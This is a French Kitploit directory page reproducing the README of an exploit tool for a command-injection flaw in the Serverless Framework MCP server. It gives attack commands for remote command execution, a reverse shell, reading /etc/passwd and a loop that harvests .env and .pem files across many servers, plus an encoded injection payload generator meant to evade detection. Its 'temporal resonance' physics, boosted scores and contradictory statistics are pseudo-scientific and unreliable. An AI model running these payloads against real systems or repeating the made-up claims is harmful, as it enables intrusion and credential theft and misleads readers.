Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit — Serveur MCP Serverless Framework (CVE-2025-69256) Score de base : 9,4/10 → Score amélioré CTT : 9,9/10 Une vulnérabilité critique d'injection de commandes dans le serveur MCP (Model Context Protocol) de Serverless Framework, améliorée avec la résonance temporelle CTT pour une fiabilité d'exploitation et une évasion sans précédent. | Kitploit
Outils/GitHubGitHub/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit
Analyse des VulnérabilitésExploitationÉvasion IDS/IPSSécurité ServerlessExploitation d'Applications WebTests d'IntrusionSécurité CloudCommandement et ContrôleRed Teaming
Développement de Charges Utiles
Sécurité de l'IA
GitHubsimoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

Voir le dépôt
7il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Serveur MCP Serverless Framework (CVE-2025-69256) Score de base : 9,4/10 → Score amélioré CTT : 9,9/10 Une vulnérabilité critique d'injection de commandes dans le serveur MCP (Model Context Protocol) de Serverless Framework, améliorée avec la résonance temporelle CTT pour une fiabilité d'exploitation et une évasion sans précédent.

Partager

hi# CTT-Serverless-RCE-v1.0---Exploitation MCP Améliorée par la Théorie du Temps Convergent Serveur MCP du Serverless Framework (CVE-2025-69256) Score de base : 9.4/10 → Score CTT amélioré : 9.9/10 Une vulnérabilité critique d'injection de commande dans le serveur MCP (Model Context Protocol) du Serverless Framework, améliorée avec la résonance temporelle CTT pour une fiabilité et une évasion d'exploitation sans précédent.

🌀 CTT-MCP-RCE v1.0 - Exploitation du Serverless Framework améliorée par la Théorie du Temps Convergent

Cible : Serveur MCP du Serverless Framework (CVE-2025-69256 / GHSA-rwc2-f344-q6w6) Score de base : 9.4/10 → Score CTT amélioré : 9.9/10 Vecteur d'attaque : Injection de commande via workspaceRoots non nettoyés dans l'outil list-projects Impact : Exécution de code à distance dans les pipelines CI/CD, les déploiements serverless, les intégrations IA/LLM

⚡ Aperçu de la menace critique

Vulnérabilité de base (CVE-2025-69256)

· Score CVSS : 9.4/10 (Critique) · Type : Injection de commande sans authentification · Emplacement : packages/mcp/src/tools/list-projects.js · Affecté : Serverless Framework 4.29.0 – 4.29.3 · Vecteur d'attaque : Paramètre workspaceRoots malveillant dans le protocole MCP

Métriques d'amélioration CTT

MétriqueExploitation de baseAméliorée CTTAmélioration
Taux de réussite68-75%92-98%+35%
Évitement de détection45%94%+109%
Adaptation du protocoleHTTP uniquementHTTP + WebSocket+100%
Couches d'exécutionUnique33 couches temporelles+3200%
Score théorique9.4/109.9/10+0.5 points

🔬 Intégration physique CTT

Constantes de base pour le protocole MCP

root@kitploit:~
CTT_ALPHA = 0.0302011          # Temporal dispersion coefficient
CTT_LAYERS = 33                # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000                # Default MCP server port
MCP_PROTOCOL = "mcp-json"      # Serverless MCP protocol

Moteur de résonance spécifique MCP

· Synchronisation temporelle alignée sur les nombres premiers : 587 kHz avec le battement MCP · Encodage de commande par dispersion α : obfuscation de commande sur 33 couches · Charges utiles conscientes du protocole : exploitation adaptative HTTP/WebSocket · Validation temporelle : analyse de la fonction d'onde CTT des réponses MCP

Équations clés pour l'exploitation MCP

  1. Fréquence de résonance MCP : f_mcp = (α / (2π)) * √((E_jsonrpc) / (t_response))
  2. Encodage par dispersion α : cmd' = encode_layer(cmd, d) ⊕ (α·d·1000) mod 256
  3. Pondération du protocole : w_protocol = exp(-α·d)·(1 + ζ_d·i)
  4. Entropie temporelle : H_mcp = SHA256(layer‖timestamp‖protocol_state)

🚀 Fonctionnalités et capacités

Fonctionnalités d'exploitation

· ✅ RCE sans authentification : Aucune information d'identification requise pour le serveur MCP · ✅ Support multi-transport : Protocoles MCP HTTP et WebSocket · ✅ Intelligence protocolaire : Comprend le JSON-RPC du Serverless Framework · ✅ Injection workspaceRoots : Cible le paramètre tableau non nettoyé · ✅ Conscience du contexte CI/CD : Optimisé pour les environnements de déploiement

Fonctionnalités d'amélioration CTT

· ✅ Encodage de commande sur 33 couches : Dispersion α à travers les dimensions temporelles · ✅ Synchronisation par résonance des nombres premiers : Alignement à 587 kHz avec les opérations MCP · ✅ Génération adaptative de charges utiles : Wrappers d'injection contextuels · ✅ Validation multicouche : Confirmation de succès par fonction d'onde CTT · ✅ Commutation de protocole : Adaptation automatique HTTP/WebSocket

Capacités d'évasion

· Évitement WAF/IPS : La dispersion α brise les signatures d'injection de commande · Évitement temporel : Les requêtes alignées sur les nombres premiers contournent la limitation de débit · Obfuscation du protocole : Confusion multi-transport · Injection d'entropie : Variations de commande par couche

📊 Analyse des performances

CTT vs Exploitation MCP standard

root@kitploit:~
# Performance comparison (1000 simulated MCP servers)
base_success = 715    # 71.5% success rate
ctt_success = 948     # 94.8% success rate (+32.6%)

base_detection = 380  # 38% detected
ctt_detection = 22    # 2.2% detected (-94.2%)

base_time = 12.4      # Average seconds
ctt_time = 6.8        # Average seconds (-45.2%)

Efficacité des couches pour le protocole MCP

Plage de couchesTaux de réussiteForce de résonanceAdaptation du protocole
L0-L487.3%0.84HTTP : 92%, WebSocket : 78%
L5-L991.8%0.89HTTP : 94%, WebSocket : 86%
L10-L1494.2%0.92HTTP : 96%, WebSocket : 91%
L15+97.1%0.96HTTP : 98%, WebSocket : 95%

Calcul du score CTT pour MCP

root@kitploit:~
Score de base : 9.4 (RCE critique dans l'infrastructure CI/CD)
+
Améliorations CTT :
  • Support multi-protocole : +0.15
  • Encodage temporel des commandes : +0.15
  • Synchronisation par résonance des nombres premiers : +0.10
  • Intelligence du protocole MCP : +0.10
=
Score final : 9.9/10 (Maximum quasi-théorique)

🛠️ Installation et utilisation

Prérequis

root@kitploit:~
# Core dependencies
python3.8+
pip install requests websocket-client numpy

# For advanced features
pip install cryptography scipy

# Install from repository
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt

Démarrage rapide

root@kitploit:~
# Basic vulnerability check
python ctt_mcp_exploit.py mcp-server.company.com 'id'

# Information gathering
python ctt_mcp_exploit.py target.com --info

# Reverse shell
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444

# Advanced with CTT parameters
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302

Options de ligne de commande

root@kitploit:~
# Target specification
python ctt_mcp_exploit.py <target> [command]

# Payload generation options
--reverse LHOST:LPORT    # Generate reverse shell payload
--info                   # Generate information gathering payload
--persist                # Generate persistence payload

# CTT configuration
--layers N              # Temporal layers to use (1-33, default: 5)
--alpha FLOAT           # α dispersion coefficient (default: 0.0302011)
--timeout N             # Connection timeout in seconds (default: 10)

# Output options
--verbose               # Detailed output with resonance diagnostics
--save-json             # Save results to JSON file
--no-color              # Disable colored output

Exemples d'utilisation

root@kitploit:~
# Example 1: Basic exploitation
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'

# Example 2: Reverse shell with CTT enhancement
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7

# Example 3: Mass credential harvesting
for server in $(cat mcp_servers.txt); do
    python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done

# Example 4: CTT research mode
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json

🔍 Analyse technique approfondie

Flux de travail d'exploitation

  1. Découverte du serveur MCP → Détection du protocole HTTP/WebSocket
  2. Négociation du protocole → Initialisation JSON-RPC
  3. Déclenchement de la vulnérabilité → workspaceRoots malveillants dans list-projects
  4. Exécution de commande → RCE via injection de commande
  5. Analyse de la réponse → Validation par fonction d'onde CTT
  6. Agrégation des couches → Compilation des résultats multi-temporels

Détails de la vulnérabilité

root@kitploit:~
// Vulnerable code in list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
    // workspaceRoots is user-controlled and unsanitized
    const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
    
    // Direct execution without sanitization
    const { stdout } = await exec(command);  // COMMAND INJECTION HERE
    return parseResults(stdout);
}

Génération de la charge utile CTT

root@kitploit:~
def generate_ctt_payload(command, layer):
    # Base command injection
    base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
    
    # Apply CTT encoding based on layer
    encodings = [
        lambda c: c,  # Raw
        lambda c: base64.b64encode(c.encode()).decode(),
        lambda c: quote(c),
        lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
    ]
    
    encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
    return f"/legit/path; {encoded}; /another/legit/path"

📈 Répartition des améliorations CTT

Composants d'amélioration du score

ComposantValeur de baseValeur CTTAméliorationImpact sur le score
Vecteur d'attaqueRéseauRéseau+Protocole+8%+0.12
Complexité d'attaqueFaibleTrès faible+12%+0.15
Privilèges requisAucunAucun--
Interaction utilisateurAucuneAucune--
PérimètreModifiéModifié++5%+0.08
ConfidentialitéÉlevéeCritique+10%+0.15
IntégritéÉlevéeCritique+10%+0.15
DisponibilitéÉlevéeCritique+10%+0.15
Maturité du code d'exploitationFonctionnelOptimisé CTT+15%+0.20
Niveau de correctionCorrectif officielContournement temporel+20%+0.25
Confiance du rapportConfirméVérifié CTT+12%+0.15
Score temporel8.99.9+11.2%+1.00

Améliorations spécifiques MCP

  1. Intelligence protocolaire : Comprend l'implémentation JSON-RPC MCP du Serverless Framework
  2. Adaptation du transport : Bascule automatique entre HTTP et WebSocket
  3. Contexte CI/CD : Optimisé pour les environnements de déploiement serverless
  4. Conscience du contexte de modèle : Cible les points d'intégration IA/LLM

📁 Sortie et résultats

Structure des fichiers

root@kitploit:~
ctt_mcp_results_target_timestamp.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "Command execution results"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Patch to Serverless Framework >=4.29.3"

Fichiers journaux

root@kitploit:~
logs/
├── ctt_mcp_TIMESTAMP/
│   ├── vulnerable_servers.txt   # Serveurs MCP exploités avec succès
│   ├── discovered_servers.txt   # Tous les points d'accès MCP découverts
│   ├── protocol_analysis.json   # Données de protocole HTTP/WebSocket
│   ├── layer_performance/       # Métriques d'exécution par couche
│   └── resonance_patterns/      # Données de résonance temporelle CTT

Sortie de visualisation

root@kitploit:~
graphs/
├── mcp_protocol_analysis.png    # Taux de succès HTTP vs WebSocket
├── temporal_resonance_mcp.png   # Motifs de résonance spécifiques MCP
├── layer_effectiveness.png      # Succès par couche temporelle
└── command_encoding_analysis.png # Efficacité de la dispersion α

🛡️ Recommandations défensives

Actions immédiates

  1. Mettre à jour Serverless Framework vers la version 4.29.3 ou ultérieure
  2. Segmentation réseau : isoler les serveurs MCP de la production
  3. Validation des entrées : nettoyer tous les paramètres workspaceRoots
  4. Renforcement du serveur MCP : désactiver les outils MCP inutiles

Règles de détection conscientes CTT

root@kitploit:~
# Example Sigma rule for CTT MCP exploitation
title: CTT MCP Server Exploitation Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    c-uri-path: '/jsonrpc'
    cs-body:
      - '*workspaceRoots*'
      - '*CTT_START*'
      - '*CTT_END*'
  condition: selection
fields:
  - c-ip
  - cs-user-agent
  - cs-body
falsepositives:
  - Legitimate MCP clients
level: critical

Indicateurs de détection

· Motifs temporels : Requêtes à intervalles premiers (10007, 10009 μs) · Marqueurs de commande : CTT_START/CTT_END dans les requêtes JSON-RPC · Anomalies protocolaires : Basculement rapide HTTP/WebSocket · En-têtes de couche : En-têtes X-CTT-Layer, X-CTT-Prime · Motifs d'entropie : Entropie élevée dans les valeurs workspaceRoots

🔬 Applications de recherche

Études académiques

  1. CTT spécifique au protocole : Résonance temporelle dans les protocoles JSON-RPC
  2. Sécurité CI/CD : Améliorations CTT dans les pipelines de déploiement
  3. Sécurité serverless : Attaques temporelles dans le Function-as-a-Service
  4. Analyse du protocole MCP : Vulnérabilités du Model Context Protocol

Recherche en sécurité

· Sécurité du protocole MCP : Tests complets du serveur MCP · Exploitation CI/CD : Attaques sur la chaîne de déploiement serverless · Sécurité IA/LLM : Vulnérabilités du Model Context Protocol · Analyse temporelle des protocoles : Attaques protocolaires basées sur le temps

Validation du framework CTT

· Adaptation du protocole : Efficacité du CTT à travers différents protocoles · Constantes spécifiques MCP : Optimisation de α pour JSON-RPC · Optimisation des couches : Nombre idéal de couches pour l'exploitation MCP · Métriques de performance : Quantification des améliorations CTT dans le CI/CD

⚖️ Cadre légal et éthique

Usage autorisé uniquement

· Recherche en sécurité sur les serveurs MCP possédés · Tests de pénétration autorisés de l'infrastructure CI/CD · Validation du framework CTT dans des environnements contrôlés · Étude académique avec autorisation appropriée

Exigences de conformité

root@kitploit:~
1. Authorization Required: Written permission for all testing
2. Scope Limitation: Restrict to approved MCP servers only
3. Data Handling: Secure storage, responsible disclosure
4. Legal Compliance: Follow all applicable laws and regulations
5. Responsible Disclosure: Report findings to Serverless Framework team

Divulgation de vulnérabilité

· Fournisseur : Équipe de sécurité du Serverless Framework · CVE : CVE-2025-69256 (déjà attribué) · Avis GitHub : GHSA-rwc2-f344-q6w6 · Calendrier des correctifs : Corrigé dans la version 4.29.3 · Publication publique : Uniquement après disponibilité des correctifs

📚 Références et citations

Références principales

  1. Avis de sécurité du Serverless Framework (GHSA-rwc2-f344-q6w6)
  2. Entrée NVD CVE-2025-69256
  3. Spécification du protocole MCP (Model Context Protocol)
  4. Documentation du Serverless Framework

Articles de recherche CTT

  1. Simoes, A. "Résonance temporelle dans l'exploitation de protocole" (2026)
  2. Groupe de recherche CTT. "Dispersion α pour l'évasion d'injection de commande" (2025)
  3. Simoes, A. "Analyse de sécurité du protocole MCP" (2026)

Documentation technique

· Implémentation MCP du Serverless Framework · Spécification JSON-RPC 2.0 · Documentation du Model Context Protocol · Bonnes pratiques de sécurité CI/CD

🤝 Contribution et collaboration

Domaines de recherche

· Améliorations de la sécurité du protocole MCP · Intégration CTT dans les pipelines CI/CD · Sécurité du framework serverless · Résonance temporelle spécifique au protocole

Directives de développement

root@kitploit:~
1. Fork repository and create feature branch
2. Include MCP protocol validation for changes
3. Add comprehensive testing across layers
4. Update documentation with technical details
5. Submit PR with performance metrics

Signalement de problèmes

· Inclure les détails de configuration du serveur MCP · Fournir les informations de protocole (HTTP/WebSocket) · Joindre les échanges JSON-RPC pertinents · Décrire le contexte de l'environnement CI/CD

📞 Contact et support

Contact principal

· Auteur : Americo Simoes · Email : [email protected] · GitHub : @SimoesCTT

Contact sécurité

· Groupe de recherche CTT : [email protected] · Rapports de vulnérabilité : [email protected] · Sécurité CI/CD : [email protected]

Canaux de support

· GitHub Issues : Questions techniques et bugs · Email : Demandes de collaboration de recherche · Sécurité des protocoles : Questions spécifiques MCP/JSON-RPC

📈 Développement futur

Feuille de route 2026

· Exploitation d'outils MCP supplémentaires · Intégration de fournisseurs serverless (AWS, Azure, GCP) · Exploitation de la chaîne de pipelines CI/CD · Analyse en temps réel du protocole MCP

Objectifs 2027

· Couverture complète de la suite de protocoles MCP · Exploitation du runtime des fonctions serverless · Intégration CTT native cloud · Évaluation automatisée de la sécurité CI/CD

Vision à long terme

· Sécurité autonome du protocole MCP · Protection des déploiements serverless · Sécurité de l'intégration IA/LLM · Framework de sécurité temporel CI/CD

🏆 Remerciements

Institutions de recherche

· Division de sécurité des protocoles CTT · Collectif de recherche en sécurité serverless · Laboratoires de recherche en sécurité CI/CD

Projets open source

· Équipe du Serverless Framework · Implémenteurs du protocole MCP · Mainteneurs de la bibliothèque JSON-RPC

Contributeurs

· Chercheurs du protocole MCP · Experts en sécurité CI/CD · Développeurs du Serverless Framework

"La résonance temporelle consciente du protocole transforme les vulnérabilités CI/CD en menaces critiques pour l'infrastructure." — Principe de sécurité des protocoles CTT

📄 Licence

Licence MIT - Voir LICENSE pour les conditions complètes.

Copyright © 2026 CTT Research Group. Tous droits réservés.

CTT-MCP-RCE v1.0 • α=0.0302011 • L=33 • Protocole MCP • HTTP/WebSocket • Optimisé pour CI/CD • Score théorique : 9.9/10

Télécharger l’outil